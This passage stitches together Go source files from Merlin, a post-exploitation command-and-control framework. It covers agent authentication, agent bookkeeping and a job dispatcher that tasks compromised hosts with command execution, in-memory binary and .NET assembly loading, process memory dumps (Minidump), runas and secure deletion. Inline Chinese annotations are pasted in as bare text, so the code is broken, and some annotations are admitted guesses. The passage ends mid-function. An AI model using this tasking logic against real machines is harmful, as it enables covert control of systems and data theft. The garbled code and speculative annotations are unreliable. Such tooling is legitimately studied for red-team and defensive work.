// ReAuthenticate is used to instruct the Agent it needs to execute the OPAQUE Authentication process with the server
ReAuthenticate = 6
)
// Opaque is a structure that is embedded into Merlin messages as a payload used to complete OPAQUE registration and authentication
type Opaque struct {
Type int // The type of OPAQUE message from the constants
Payload \[\]byte // OPAQUE payload data
}
// Server is the structure that holds information for the various steps of the OPAQUE protocol as the server
type Server struct {
reg \*gopaque.ServerRegister
regComplete \*gopaque.ServerRegisterComplete
auth \*gopaque.ServerAuth
Kex \*gopaque.KeyExchangeSigma
}
// ServerRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the server
func ServerRegisterInit(AgentID uuid.UUID, o Opaque, key kyber.Scalar) (Opaque, \*Server, error) {
if core.Debug {
message("debug", "Entering into opaque.ServerRegisterInit() function...")
}
server := Server{
reg: gopaque.NewServerRegister(gopaque.CryptoDefault, key),
}
var userRegInit gopaque.UserRegisterInit
errUserRegInit := userRegInit.FromBytes(gopaque.CryptoDefault, o.Payload)
if errUserRegInit != nil {
return Opaque{}, &server, fmt.Errorf("there was an error unmarshalling the OPAQUE user register initialization message from bytes:\\r\\n%s", errUserRegInit)
}
if !bytes.Equal(userRegInit.UserID, AgentID.Bytes()) {
if core.Verbose {
message("note", fmt.Sprintf("OPAQUE UserID: %v", userRegInit.UserID))
message("note", fmt.Sprintf("Merlin Message UserID: %v", AgentID.Bytes()))
}
return Opaque{}, &server, fmt.Errorf("the OPAQUE UserID doesn't match the Merlin message ID")
}
serverRegInit := server.reg.Init(&userRegInit)
serverRegInitBytes, errServerRegInitBytes := serverRegInit.ToBytes()
if errServerRegInitBytes != nil {
return Opaque{}, &server, fmt.Errorf("there was an error marshalling the OPAQUE server registration initialization message to bytes:\\r\\n%s", errServerRegInitBytes)
}
returnMessage := Opaque{
Type: RegInit,
Payload: serverRegInitBytes,
}
return returnMessage, &server, nil
}
// ServerRegisterComplete consumes the User's response and finishes OPAQUE Registration
func ServerRegisterComplete(AgentID uuid.UUID, o Opaque, server \*Server) (Opaque, error) {
if core.Debug {
message("debug", "Entering into opaque.ServerRegisterComplete() function...")
}
var userRegComplete gopaque.UserRegisterComplete
errUserRegComplete := userRegComplete.FromBytes(gopaque.CryptoDefault, o.Payload)
if errUserRegComplete != nil {
return Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE user register complete message from bytes:\\r\\n%s", errUserRegComplete.Error())
}
server.regComplete = server.reg.Complete(&userRegComplete)
// Check to make sure Merlin UserID matches OPAQUE UserID
if !bytes.Equal(AgentID.Bytes(), server.regComplete.UserID) {
return Opaque{}, fmt.Errorf("the OPAQUE UserID: %v doesn't match the Merlin UserID: %v", server.regComplete.UserID, AgentID.Bytes())
}
returnMessage := Opaque{
Type: RegComplete,
}
return returnMessage, nil
}
// ServerAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocol
func ServerAuthenticateInit(o Opaque, server \*Server) (Opaque, error) {
if core.Debug {
message("debug", "Entering into opaque.ServerAuthenticateInit() function...")
}
// 1 - Receive the user's UserAuthInit
server.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault)
server.auth = gopaque.NewServerAuth(gopaque.CryptoDefault, server.Kex)
var userInit gopaque.UserAuthInit
errFromBytes := userInit.FromBytes(gopaque.CryptoDefault, o.Payload)
if errFromBytes != nil {
return Opaque{}, fmt.Errorf("there was an error unmarshalling the user init message from bytes:\\r\\n%s", errFromBytes)
}
serverAuthComplete, errServerAuthComplete := server.auth.Complete(&userInit, server.regComplete)
if errServerAuthComplete != nil {
return Opaque{}, fmt.Errorf("there was an error completing the OPAQUE server authentication:\\r\\n%s", errServerAuthComplete.Error())
}
if core.Debug {
message("debug", fmt.Sprintf("User Auth Init:\\r\\n%+v", userInit))
message("debug", fmt.Sprintf("Server Auth Complete:\\r\\n%+v", serverAuthComplete))
}
serverAuthCompleteBytes, errServerAuthCompleteBytes := serverAuthComplete.ToBytes()
if errServerAuthCompleteBytes != nil {
return Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE server authentication complete message to bytes:\\r\\n%s", errServerAuthCompleteBytes.Error())
}
returnMessage := Opaque{
Type: AuthInit,
Payload: serverAuthCompleteBytes,
}
return returnMessage, nil
}
// ServerAuthenticateComplete consumes the Agent's authentication messages and finishes the authentication and key exchange
func ServerAuthenticateComplete(o Opaque, server \*Server) error {
if core.Debug {
message("debug", "Entering into opaque.ServerAuthenticateComplete() function")
}
var userComplete gopaque.UserAuthComplete
errFromBytes := userComplete.FromBytes(gopaque.CryptoDefault, o.Payload)
if errFromBytes != nil {
return fmt.Errorf("there was an error unmarshalling the user complete message from bytes:\\r\\n%s", errFromBytes)
}
// server auth finish
errAuthFinish := server.auth.Finish(&userComplete)
if errAuthFinish != nil {
return fmt.Errorf("there was an error finishing authentication:\\r\\n%s", errAuthFinish)
}
return nil
}
// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI
func message(level string, message string) {
switch level {
case "info":
color.Cyan("\[i\]" + message)
case "note":
color.Yellow("\[-\]" + message)
case "warn":
color.Red("\[!\]" + message)
case "debug":
color.Red("\[DEBUG\]" + message)
case "success":
color.Green("\[+\]" + message)
default:
color.Red("\[\_-\_\]Invalid message level: " + message)
}
}
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package agents
import (
"crypto/rand"
"crypto/rsa"
"fmt"
"os"
"path"
"path/filepath"
"strconv" 字符串类型转换
"strings"
"time"
// 3rd Party
"github.com/satori/go.uuid"
// Merlin
messageAPI "github.com/Ne0nd0g/merlin/pkg/api/messages"
"github.com/Ne0nd0g/merlin/pkg/core"
"github.com/Ne0nd0g/merlin/pkg/logging"
"github.com/Ne0nd0g/merlin/pkg/messages"
"github.com/Ne0nd0g/merlin/pkg/opaque"
)
// Global Variables
// Agents contains all of the instantiated agent object that are accessed by other modules
var Agents = make(map\[uuid.UUID\]\*Agent)
// groups map agent(s) to a string for bulk access
var groups = make(map\[string\]\[\]uuid.UUID)
func init() {
globalUUID, err := uuid.FromString("ffffffff-ffff-ffff-ffff-ffffffffffff")
if err == nil {
groups\["all"\] = \[\]uuid.UUID{globalUUID}
}
}
// Agent is a server side structure that holds information about a Merlin Agent
type Agent struct {
ID uuid.UUID
Platform string
Architecture string
UserName string
UserGUID string
HostName string
Ips \[\]string
Pid int
Process string
agentLog \*os.File 日志文件
InitialCheckIn time.Time
StatusCheckIn time.Time
Version string
Build string
WaitTime string
PaddingMax int
MaxRetry int
FailedCheckin int
Skew int64
Proto string
KillDate int64
RSAKeys \*rsa.PrivateKey // RSA Private/Public key pair; Private key used to decrypt messages
PublicKey rsa.PublicKey // Public key used to encrypt messages
Secret \[\]byte // secret is used to perform symmetric encryption operations 用于执行对称加密操作
OPAQUE \*opaque.Server // Holds information about OPAQUE Registration and Authentication 保存OPAQUE的注册和认证信息
JA3 string // The JA3 signature applied to the agent's TLS client 保存ja3指纹
Note string // Operator notes for an agent
}
交换服务端和客户端的公私钥
// KeyExchange is used to exchange public keys between the server and agent
func KeyExchange(m messages.Base) (messages.Base, error) {
if core.Debug {
message("debug", "Entering into agents.KeyExchange function")
}
serverKeyMessage := messages.Base{
ID: m.ID,
Version: 1.0,
Type: messages.KEYEXCHANGE,
Padding: core.RandStringBytesMaskImprSrc(4096),
}
// Make sure the agent has previously authenticated
if !isAgent(m.ID) {
return serverKeyMessage, fmt.Errorf("the agent does not exist")
}
logging.Server(fmt.Sprintf("Received new agent key exchange from %s", m.ID))
ke := m.Payload.(messages.KeyExchange)
if core.Debug {
message("debug", fmt.Sprintf("Received new public key from %s:\\r\\n%v", m.ID, ke.PublicKey))
}
serverKeyMessage.ID = Agents\[m.ID\].ID
Agents\[m.ID\].PublicKey = ke.PublicKey
// Generate key pair
privateKey, rsaErr := rsa.GenerateKey(rand.Reader, 4096)
if rsaErr != nil {
return serverKeyMessage, fmt.Errorf("there was an error generating the RSA key pair:\\r\\n%s", rsaErr.Error())
}
Agents\[m.ID\].RSAKeys = privateKey
if core.Debug {
message("debug", fmt.Sprintf("Server's Public Key: %v", Agents\[m.ID\].RSAKeys.PublicKey))
}
pk := messages.KeyExchange{
PublicKey: Agents\[m.ID\].RSAKeys.PublicKey,
}
serverKeyMessage.ID = m.ID
serverKeyMessage.Payload = pk
if core.Debug {
message("debug", "Leaving agents.KeyExchange returning without error")
message("debug", fmt.Sprintf("serverKeyMessage: %v", serverKeyMessage))
}
return serverKeyMessage, nil
}
检索每个agent的加密密钥用于解密任何协议的message
// GetEncryptionKey retrieves the per-agent payload encryption key used to decrypt messages for any protocol
func GetEncryptionKey(agentID uuid.UUID) (\[\]byte, error) {
if core.Debug {
message("debug", "Entering into agents.GetEncryptionKey function")
}
if !isAgent(agentID) {
return nil, fmt.Errorf("agent %s does not exist", agentID)
}
key是agent的secret
key := Agents\[agentID\].Secret
if len(key) <= 0 { 确认id为uuid 的agnet中保存的key不为空
return nil, fmt.Errorf("the encryption key for %s is empty", agentID)
}
if core.Debug {
message("debug", "Leaving agents.GetEncryptionKey function")
}
return key, nil 返回key
}
// UpdateInfo is used to update an agent's information with the passed in message data 根据传入的message更新保存在服务端的agent信息
func (a \*Agent) UpdateInfo(info messages.AgentInfo) { Agent结构体的updateinfo方法
if core.Debug {
message("debug", "Entering into agents.UpdateInfo function")
}
if core.Debug { 调式模式下输出接收到的的agent信息
message("debug", "Processing new agent info")
message("debug", fmt.Sprintf("Agent Version: %s", info.Version))
message("debug", fmt.Sprintf("Agent Build: %s", info.Build))
message("debug", fmt.Sprintf("Agent waitTime: %s", info.WaitTime))
message("debug", fmt.Sprintf("Agent skew: %d", info.Skew))
message("debug", fmt.Sprintf("Agent paddingMax: %d", info.PaddingMax))
message("debug", fmt.Sprintf("Agent maxRetry: %d", info.MaxRetry))
message("debug", fmt.Sprintf("Agent failedCheckin: %d", info.FailedCheckin))
message("debug", fmt.Sprintf("Agent proto: %s", info.Proto))
message("debug", fmt.Sprintf("Agent killdate: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))
message("debug", fmt.Sprintf("Agent JA3 signature: %s", info.JA3))
} 日志记录接收到的agent信息
a.Log("Processing AgentInfo message:")
a.Log(fmt.Sprintf("\\tAgent Version: %s ", info.Version))
a.Log(fmt.Sprintf("\\tAgent Build: %s ", info.Build))
a.Log(fmt.Sprintf("\\tAgent waitTime: %s ", info.WaitTime))
a.Log(fmt.Sprintf("\\tAgent skew: %d ", info.Skew))
a.Log(fmt.Sprintf("\\tAgent paddingMax: %d ", info.PaddingMax))
a.Log(fmt.Sprintf("\\tAgent maxRetry: %d ", info.MaxRetry))
a.Log(fmt.Sprintf("\\tAgent failedCheckin: %d ", info.FailedCheckin))
a.Log(fmt.Sprintf("\\tAgent proto: %s ", info.Proto))
a.Log(fmt.Sprintf("\\tAgent KillDate: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))
a.Log(fmt.Sprintf("\\tAgent JA3 signature: %s", info.JA3))
对agent对象的属性进行赋值(结构体的各个变量)
a.Version = info.Version
a.Build = info.Build
a.WaitTime = info.WaitTime
a.Skew = info.Skew
a.PaddingMax = info.PaddingMax
a.MaxRetry = info.MaxRetry
a.FailedCheckin = info.FailedCheckin
a.Proto = info.Proto
a.KillDate = info.KillDate
a.JA3 = info.JA3
a.Architecture = info.SysInfo.Architecture
a.HostName = info.SysInfo.HostName
a.Process = info.SysInfo.Process
a.Pid = info.SysInfo.Pid
a.Ips = info.SysInfo.Ips
a.Platform = info.SysInfo.Platform
a.UserName = info.SysInfo.UserName
a.UserGUID = info.SysInfo.UserGUID
if core.Debug {
message("debug", "Leaving agents.UpdateInfo function")
}
}
// Log is used to write log messages to the agent's log file 向日志文件写日志
func (a \*Agent) Log(logMessage string) {
if core.Debug {
message("debug", "Entering into agents.Log")
}
\_, err := a.agentLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), logMessage))
if err != nil {
message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\\r\\n%s", err.Error()))
}
}
// message is used to send a broadcast message to all connected clients 向所有的客户端发送广播信息
func message(level string, message string) {
m := messageAPI.UserMessage{
Message: message,
Time: time.Now().UTC(),
Error: false,
}
switch level {
case "info":
m.Level = messageAPI.Info
case "note":
m.Level = messageAPI.Note
case "warn":
m.Level = messageAPI.Warn
case "debug":
m.Level = messageAPI.Debug
case "success":
m.Level = messageAPI.Success
case "plain":
m.Level = messageAPI.Plain
default:
m.Level = messageAPI.Plain
}
messageAPI.SendBroadcastMessage(m)
}
// RemoveAgent deletes the agent object from Agents map by its ID
func RemoveAgent(agentID uuid.UUID) error {
if isAgent(agentID) {
delete(Agents, agentID)
return nil
}
return fmt.Errorf("%s is not a known agent and was not removed", agentID)
}
// GetAgentFieldValue returns a string value for the field value belonging to the specified Agent
func GetAgentFieldValue(agentID uuid.UUID, field string) (string, error) {
if isAgent(agentID) {
switch strings.ToLower(field) {
case "platform":
return Agents\[agentID\].Platform, nil
case "architecture":
return Agents\[agentID\].Architecture, nil
case "username":
return Agents\[agentID\].UserName, nil
case "waittime":
return Agents\[agentID\].WaitTime, nil
}
return "", fmt.Errorf("the provided agent field could not be found: %s", field)
}
return "", fmt.Errorf("%s is not a valid agent", agentID.String())
}
// isAgent enumerates a map of all instantiated agents and returns true if the provided agent UUID exists
func isAgent(agentID uuid.UUID) bool { 遍历Agent查询传入的uuid是否在Agent Map保存的agnet的id中
for agent := range Agents {
if Agents\[agent\].ID == agentID {
return true
}
}
return false
}
// New creates a new Agent and returns the object but does not add it to the global agents map 新建一个agent对象但是不把他添加到全局的agent map中
func New(agentID uuid.UUID) (Agent, error) {
if core.Debug {
message("debug", "Entering into agents.newAgent function")
}
var agent Agent 创建agent对象(结构体)
if isAgent(agentID) { 确定添加的agent之前不存在
return agent, fmt.Errorf("the %s agent already exists", agentID)
}
新建agent目录
agentsDir := filepath.Join(core.CurrentDir, "data", "agents")
新建agent uuid对应的文件
// Create a directory for the new agent's files
if \_, err := os.Stat(filepath.Join(agentsDir, agentID.String())); os.IsNotExist(err) {
errM := os.MkdirAll(filepath.Join(agentsDir, agentID.String()), 0750)
if errM != nil {
return agent, fmt.Errorf("there was an error creating a directory for agent %s:\\r\\n%s",
agentID.String(), err.Error())
} 新建agent log文件
// Create the agent's log file
agentLog, errC := os.Create(filepath.Join(agentsDir, agentID.String(), "agent\_log.txt"))
if errC != nil {
return agent, fmt.Errorf("there was an error creating the agent\_log.txt file for agnet %s:\\r\\n%s",
agentID.String(), err.Error())
}
// Change the file's permissions
errChmod := os.Chmod(agentLog.Name(), 0600)
if errChmod != nil {
return agent, fmt.Errorf("there was an error changing the file permissions for the agent log:\\r\\n%s", errChmod.Error())
}
if core.Verbose {
message("note", fmt.Sprintf("Created agent log file at: %s agent\_log.txt",
path.Join(agentsDir, agentID.String())))
}
}
// Open agent's log file for writing 创建日志文件的写操作
f, err := os.OpenFile(filepath.Clean(filepath.Join(agentsDir, agentID.String(), "agent\_log.txt")), os.O\_APPEND|os.O\_WRONLY, 0600)
if err != nil {
return agent, fmt.Errorf("there was an error openeing the %s agent's log file:\\r\\n%s", agentID.String(), err.Error())
}
对agent对象属性赋值和初始化时间
agent.ID = agentID
agent.agentLog = f
agent.InitialCheckIn = time.Now().UTC()
agent.StatusCheckIn = time.Now().UTC()
\_, errAgentLog := agent.agentLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), "Instantiated agent"))
if errAgentLog != nil {
message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\\r\\n%s", errAgentLog.Error()))
}
if core.Debug {
message("debug", "Leaving agents.newAgent function without error")
}
return agent, nil
}
// GetLifetime returns the amount an agent could live without successfully communicating with the server 获取agnet在不能与server成功通信情况下可视为存活的数量
func GetLifetime(agentID uuid.UUID) (time.Duration, error) {
if core.Debug {
message("debug", "Entering into agents.GetLifeTime")
}
// Check to make sure it is a known agent
if !isAgent(agentID) {
return 0, fmt.Errorf("%s is not a known agent", agentID)
}
// Check to see if PID is set to know if the first AgentInfo message has been sent 通过检查是否设置了did来确认是否发送了第一条agentinfo信息
if Agents\[agentID\].Pid == 0 {
return 0, nil
}
time.ParseDuration解析agent设置的waittime的字符串为时间
sleep, errSleep := time.ParseDuration(Agents\[agentID\].WaitTime)
if errSleep != nil {
return 0, fmt.Errorf("there was an error parsing the agent WaitTime to a duration:\\r\\n%s", errSleep.Error())
}如果设置为0直接返回报错,waittime时间耗尽
if sleep == 0 {
return 0, fmt.Errorf("agent WaitTime is equal to zero")
}
检查重试次数是否耗尽
retry := Agents\[agentID\].MaxRetry
if retry == 0 {
return 0, fmt.Errorf("agent MaxRetry is equal to zero")
}
歪曲?的时间(设置的允许通信的时常?)
skew := time.Duration(Agents\[agentID\].Skew) \* time.Millisecond
maxRetry := Agents\[agentID\].MaxRetry
计算死前最长的存活时间
// Calculate the worst case scenario that an agent could be alive before dying
lifetime := sleep + skew
for maxRetry > 1 {
lifetime = lifetime + (sleep + skew)
maxRetry--
}
查看当前时间加上存活时间是否超过设定的kill agent时间,超过则返回报错
if Agents\[agentID\].KillDate > 0 {
if time.Now().Add(lifetime).After(time.Unix(Agents\[agentID\].KillDate, 0)) {
return 0, fmt.Errorf("the agent lifetime will exceed the killdate")
}
}
if core.Debug {
message("debug", "Leaving agents.GetLifeTime without error")
}
return lifetime, nil
}
// SetWaitTime updates an Agent's sleep amount or Wait Time
func SetWaitTime(agentID uuid.UUID, wait string) error {
if isAgent(agentID) {
\_, err := time.ParseDuration(wait)
if err != nil {
return fmt.Errorf("there was an error parsing %s to a duration for the Agent's WaitTime:\\r\\n%s", wait, err)
}
Agents\[agentID\].WaitTime = wait
return nil
}
return fmt.Errorf("the %s Agent is unknown", agentID.String())
}
// SetMaxRetry updates an Agent's MaxRetry limit
func SetMaxRetry(agentID uuid.UUID, retry string) error {
if isAgent(agentID) {
r, err := strconv.Atoi(retry)
if err != nil {
return fmt.Errorf("there was an error converting %s to an integer for Agent %s:\\n%s", retry, agentID, err)
}
Agents\[agentID\].MaxRetry = r
return nil
}
return fmt.Errorf("the %s Agent is unknown", agentID.String())
}
// SetAgentNote updates the agent's note field 设置agnet的备注信息
func SetAgentNote(agentID uuid.UUID, note string) error {
if !isAgent(agentID) {
return fmt.Errorf("%s is not a known agent", agentID)
}
Agents\[agentID\].Note = note
return nil
}
// GroupAddAgent adds an agent to a group 将agent加入到一个分组下面
func GroupAddAgent(agentID uuid.UUID, groupName string) error {
if !isAgent(agentID) {
return fmt.Errorf("%s is not a known agent", agentID)
}
grp, ok := groups\[groupName\]
if !ok {
groups\[groupName\] = \[\]uuid.UUID{agentID} 如果不存在则创建一个名称为groupname的agent数组
} else {
// Don't add it to the group if it's already there 如果这个agent的uuid存在在任何一个分组中则不再向其他分组添加
for \_, a := range groups\[groupName\] {
if uuid.Equal(a, agentID) {
return nil
}
}
groups\[groupName\] = append(grp, agentID)
}
return nil
}
// GroupListAll lists groups as a table of {groupName,agentID}GroupListAll 将组列为 {groupName,agentID} 的表
func GroupListAll() \[\]\[\]string {
var out \[\]\[\]string
for groupName, agentIDs := range groups {
for \_, aID := range agentIDs {
out = append(out, \[\]string{groupName, aID.String()})
}
}
return out
}
// GroupListNames list out just the names of existing groups GroupListNames 仅列出目前存在的组的名称
func GroupListNames() \[\]string {
keys := make(\[\]string, 0, len(groups))
for k := range groups {
keys = append(keys, k)
}
return keys
}
// GroupRemoveAgent removes an agent from a group
func GroupRemoveAgent(agentID uuid.UUID, groupName string) error {
if !isAgent(agentID) {
return fmt.Errorf("%s is not a known agent", agentID)
}
grp, ok := groups\[groupName\]
if !ok {
return fmt.Errorf("%s is not a group", groupName)
}
tmp := grp\[:0\]
for \_, a := range grp { 遍历grp,如果传入的uuid不为grp中的元素,则添加入tmp数组
if !uuid.Equal(a, agentID) {
tmp = append(tmp, a)
}
}
groups\[groupName\] = tmp 新的grp的对应的数组元素为去掉uuid的tmp数组
//Make sure to delete group if empty 如果groupName数组为空,删除该数组
if len(groups\[groupName\]) == 0 {
delete(groups, groupName)
}
return nil
}
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package jobs
import (
// Standard
"crypto/sha256"
"encoding/base64"
"fmt"
"io"
"io/ioutil"
"os"
"path/filepath"
"strconv"
"strings"
"time"
// 3rd Party
"github.com/fatih/color"
uuid "github.com/satori/go.uuid"
// Internal
"github.com/Ne0nd0g/merlin/pkg/agents"
messageAPI "github.com/Ne0nd0g/merlin/pkg/api/messages"
"github.com/Ne0nd0g/merlin/pkg/core"
merlinJob "github.com/Ne0nd0g/merlin/pkg/jobs"
"github.com/Ne0nd0g/merlin/pkg/messages"
)
// JobsChannel contains a map of all instantiated jobs created on the server by each Agent's ID
JobsChannel 包含由每个 Agent 的 ID 在服务器上创建的所有实例化 job 的映射
var JobsChannel = make(map\[uuid.UUID\]chan merlinJob.Job)
// Jobs is a map that contains specific information about an individual job and is embedded in the JobsChannel
Jobs 是一个map,其中包含有关单个jon的结构体信息,并嵌入在 JobsChannel 中
var Jobs = make(map\[string\]info)
// info is a structure for holding data for single task assigned to a single agent
info 是一种结构体,用于保存分配给单个agent的单个task的数据信息包括uuid、job类型、
type info struct {
AgentID uuid.UUID // ID of the agent the job belong to
Type string // Type of job
Token uuid.UUID // A unique token for each task that acts like a CSRF token to prevent multiple job messages 每个任务的token,防止伪造job数据
Status int // Use JOB\_ constants 使用JOB\_的常数
Chunk int // The chunk number chunk切片传输数据序号
Created time.Time // Time the job was created 创建时间
Sent time.Time // Time the job was sent to the agent 发送时间
Completed time.Time // Time the job finished 完成时间
Command string // The actual command job 包含的命令
}
// Add creates a job and adds it to the specified agent's job channel 创建一个job并加入到指定的job channel中
func Add(agentID uuid.UUID, jobType string, jobArgs \[\]string) (string, error) {
// TODO turn this into a method of the agent struct
if core.Debug {
message("debug", fmt.Sprintf("In jobs.Job function for agent: %s", agentID.String()))
message("debug", fmt.Sprintf("In jobs.Add function for type: %s, arguments: %v", jobType, jobType))
} 调试信息输出当前job的agent uuid和任务类型
agent, ok := agents.Agents\[agentID\]
//if !ok {
// return "", fmt.Errorf("%s is not a valid agent", agentID)
//}
var job merlinJob.Job
switch jobType {
case "agentInfo":
job.Type = merlinJob.CONTROL 常量merlin 控制message CONTROL = 11 // AgentControl
job.Payload = merlinJob.Command{
Command: "agentInfo", 命令为输出agent info
}
case "download":
job.Type = merlinJob.FILETRANSFER 文件传输
if ok {
agent.Log(fmt.Sprintf("Downloading file from agent at %s\\n", jobArgs\[0\]))
}
p := merlinJob.FileTransfer{ merilin文件传输
/\*type FileTransfer struct {
FileLocation string \`json:"dest"\` 文件地址
FileBlob string \`json:"blob"\` 文件内容
IsDownload bool \`json:"download"\`
}\*/
FileLocation: jobArgs\[0\],
IsDownload: false,
}
job.Payload = p
case "cd": 切换目录
job.Type = merlinJob.NATIVE agent系统原生命令
// NATIVE 用于发送 NativeCmd 消息
NATIVE = 13 // NativeCmd
p := merlinJob.Command{
Command: "cd",
Args: jobArgs\[0:\],
}
job.Payload = p
case "CreateProcess":创建进程命令在merlin moudle中
job.Type = merlinJob.MODULE
p := merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
job.Payload = p
case "env":
job.Type = merlinJob.NATIVE 输出agent env信息 为原生命令
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "exit":
job.Type = merlinJob.CONTROL 控制命令
p := merlinJob.Command{
Command: jobArgs\[0\], // TODO, this should be in jobType position 这个因该为一个单独的job type
}
job.Payload = p
case "ifconfig":
job.Type = merlinJob.NATIVE 原生命令ifconfig
job.Payload = merlinJob.Command{
Command: jobType,
}
case "initialize":
job.Type = merlinJob.CONTROL
p := merlinJob.Command{
Command: jobType,
}
job.Payload = p
case "invoke-assembly": invoke-assembly(调用程序集)需要至少一个参数
if len(jobArgs) < 1 {
return "", fmt.Errorf("exected 1 argument for the invoke-assembly command, received: %+v", jobArgs)
}
job.Type = merlinJob.MODULE 调用程序集的命令在moudle中(通过invoke-assembly方式执行系统命令)
job.Payload = merlinJob.Command{
Command: "clr",
Args: append(\[\]string{jobType}, jobArgs...),
}
case "ja3":
job.Type = merlinJob.CONTROL 修改ja3指纹
p := merlinJob.Command{
Command: jobArgs\[0\],
}
if len(jobArgs) == 2 {
p.Args = jobArgs\[1:\]
}
job.Payload = p
case "killdate": 干掉\\重置u时间(?)
job.Type = merlinJob.CONTROL
p := merlinJob.Command{
Command: jobArgs\[0\],
}
if len(jobArgs) == 2 {
p.Args = jobArgs\[1:\]
}
job.Payload = p
case "killprocess":(干掉进程)
job.Type = merlinJob.NATIVE
p := merlinJob.Command{
Command: "killprocess",
Args: jobArgs,
}
job.Payload = p
case "list-assemblies": 列出程序集
job.Type = merlinJob.MODULE
job.Payload = merlinJob.Command{
Command: "clr",
Args: \[\]string{"list-assemblies"},
}
case "load-assembly":加载程序集
if len(jobArgs) < 1 {
return "", fmt.Errorf("exected 1 argument for the load-assembly command, received: %+v", jobArgs)
}
job.Type = merlinJob.MODULE
assembly, err := ioutil.ReadFile(jobArgs\[0\]) 通过读取文件加载assembly
if err != nil {
return "", fmt.Errorf("there was an error reading the assembly at %s:\\n%s", jobArgs\[0\], err)
}
fileHash := sha256.New() 计算assembly文件hash
\_, err = io.WriteString(fileHash, string(assembly))
if err != nil {
message("warn", fmt.Sprintf("there was an error generating a file hash:\\n%s", err))
}
if ok {
agent.Log(fmt.Sprintf("loading assembly from %s with a SHA256: %s to agent", jobArgs\[0\], fileHash.Sum(nil)))
}
name := filepath.Base(jobArgs\[0\])
if len(jobArgs) > 1 {
name = jobArgs\[1\]
}
job.Payload = merlinJob.Command{
Command: "clr",
Args: \[\]string{jobType, base64.StdEncoding.EncodeToString(\[\]byte(assembly)), name}job类型,base64编码assembly内容,n文件地址
}
case "load-clr":
if len(jobArgs) < 1 {
return "", fmt.Errorf("exected 1 argument for the load-clr command, received: %+v", jobArgs)
}
job.Type = merlinJob.MODULE
job.Payload = merlinJob.Command{
Command: "clr",
Args: append(\[\]string{jobType}, jobArgs...),
}
case "ls":
job.Type = merlinJob.NATIVE 系统原生列目录命令
p := merlinJob.Command{
Command: "ls", // TODO This should be in the jobType position
}
if len(jobArgs) > 0 {
p.Args = jobArgs\[0:\]
} else {
p.Args = \[\]string{"./"}
}
job.Payload = p
case "maxretry": 设置最大充实次数
job.Type = merlinJob.CONTROL
p := merlinJob.Command{
Command: jobArgs\[0\], // TODO This should be in the jobType postion
}
if len(jobArgs) == 2 {
p.Args = jobArgs\[1:\]
}
job.Payload = p
case "memfd": 读文件(?)
if len(jobArgs) < 1 {
return "", fmt.Errorf("expected 1 argument for the memfd command, received %d", len(jobArgs))
}
executable, err := ioutil.ReadFile(jobArgs\[0\])
if err != nil {
return "", fmt.Errorf("there was an error reading %s: %v", jobArgs\[0\], err)
}
fileHash := sha256.New()
\_, err = io.WriteString(fileHash, string(executable))
if err != nil {
message("warn", fmt.Sprintf("There was an error generating file hash:\\r\\n%s", err.Error()))
}
b := base64.StdEncoding.EncodeToString(executable)
job.Type = merlinJob.MODULE
job.Payload = merlinJob.Command{
Command: jobType,
Args: append(\[\]string{b}, jobArgs\[1:\]...),
}
case "Minidump": 读进程(?)内容在moudle中
job.Type = merlinJob.MODULE
p := merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
job.Payload = p
case "netstat":
job.Type = merlinJob.MODULE
p := merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
job.Payload = p
case "nslookup":
job.Type = merlinJob.NATIVE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "padding": 填充字段查看
job.Type = merlinJob.CONTROL
p := merlinJob.Command{
Command: jobArgs\[0\],
}
if len(jobArgs) == 2 {
p.Args = jobArgs\[1:\]
}
job.Payload = p
case "pipes": 管道(内容在moudle中)
job.Type = merlinJob.MODULE
p := merlinJob.Command{
Command: "pipes",
}
job.Payload = p
case "ps":
job.Type = merlinJob.MODULE
p := merlinJob.Command{
Command: "ps",
}
job.Payload = p
case "pwd":
job.Type = merlinJob.NATIVE
p := merlinJob.Command{
Command: jobArgs\[0\], // TODO This should be in the jobType position
}
job.Payload = p
case "rm":
job.Type = merlinJob.NATIVE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs\[0:1\],
}
case "run", "exec":
job.Type = merlinJob.CMD
payload := merlinJob.Command{
Command: jobArgs\[0\],
}
if len(jobArgs) > 1 {
payload.Args = jobArgs\[1:\]
}
job.Payload = payload
case "runas": linux高级命令,内容在moudle中(设置别名?)
job.Type = merlinJob.MODULE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "sdelete": 删除
